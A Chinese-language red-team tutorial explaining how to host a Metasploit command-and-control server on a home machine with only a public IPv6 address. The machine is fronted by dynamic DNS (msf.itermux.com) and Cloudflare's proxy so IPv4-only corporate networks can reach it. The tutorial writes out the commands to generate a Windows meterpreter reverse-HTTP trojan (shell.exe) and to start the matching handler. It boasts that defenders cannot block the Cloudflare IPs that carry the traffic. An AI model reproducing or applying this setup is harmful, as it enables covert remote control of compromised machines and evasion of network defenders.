我国也正在积极推广普及 IPv6 技术,个人家庭光猫基本上都是支持 IPv6 的,IPv6 我们可以理解为一个公网 IP,由于 IPv6 资源数量非常庞大,足够保障我们的家庭每个设备都有自己的公网 IPv6 地址,这一切预示着万物互联的时代即将到来,从理论角度来看,利用家用设备的 IPv6 地址来建立 C2 服务器也是可行的。
但是企业内网当中基本上是不可能有公网 IPv6 地址的,没有 IPv6 的话就无法访问到我们的 C2 服务器,这也是本文核心要展开说的地方,话不多说,直接看下文吧。
整体方案实现其实不难,最主要的就是下面两个知识点:
总的来说就是下面两个步骤即可:
准备一个没有公网 IPv4 地址,但是存在公网 IPv6 地址的 Ubuntu 系统一个,正常家用的主机基本上是满足上述要求的:
MSF 是经典的 C2 工具,其他的 C2 工具基本上线原理仿造一下即可,我们先来手动来安装一下 Metasploit:
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \ chmod 755 msfinstall && \ ./msfinstall
为了保持权限最小化原则,我们这里只创建一个修改 itermux 域名的 DNS 权限 API 令牌:
DDNS-GO 的官方项目地址为:https://github.com/jeessy2/ddns-go
DDNS-GO 的作用是将公网地址解析到各大云厂商的域名上。下载好 DDNS-GO 参考官方文档安装一下即可:
sudo ./ddns-go -s install
接着访问服务器的 9876 端口即可打开 DDNS-GO 的配置页面,首先填写我们的 CF 的 API Token:
最后配置一下要 IPv6 对应解析的域名即可:
通过 DDNS-GO 的日志可以看到 msf.itermux.com 域名成功解析到了我们的公网 IPv6 地址:
因为当前默认域名解析的是 IPv6 地址,IPv4 设备是无法访问到我们的域名的,为此我们需要手动开启 CF 的代理,借助 CF 将域名转换成 IPv4 也可以访问的 IP 地址:
然后手动关闭一下 CF 的 SSL 加密:
首先在服务器上借助 Python3 监听应该 IPv6 的 80 端口:
python3 -m http.server 80 --bind ::
然后直接访问我们的 msf.itermux.com 域名测试成功访问:
既然上述操作跑通的话,那么下面直接来尝试一下 MSF 上线吧。后续的操作就比较简单常规了,我们很快的来过一下:
我们使用 meterpreter_reverse_http的 Payload,HOST 填写我们的 IPv6 地址 DDNS 的域名 msf.itermux.com,端口就填写 80 端口:
msf6 > use payload/windows/x64/meterpreter_reverse_http msf6 > set LHOST msf.itermux.com msf6 > set LPORT 80
然后直接在 msfconsole 控制台里面使用 generate 生成 Windows exe 木马文件:
msf6 payload(windows/x64/meterpreter_reverse_http) > generate -f exe -o shell.exe [*] Writing 208384 bytes to shell.exe...
这里监听的细节是 set LHOST ::
表示监听本地的 IPv6 地址:
msf6 > use exploits/multi/handler msf6 > set payload windows/x64/meterpreter_reverse_http msf6 > set LHOST :: msf6 > set LPORT 80
运行 shell.exe 后既上线成功,通过 netstat 命令查看,可以看到多个上线的会话连接,这些外连 IP 均为 Cloudflare 的 CDN IP,蓝方防守的话封是封不完,而且不敢封的,因为国内很多大型网站可能也用的是 Cloudflare。
MSF 的上线记录效果如下,可以看到 CF 的 CDN IPv6 服务器和本地的 IPv6 交互的记录: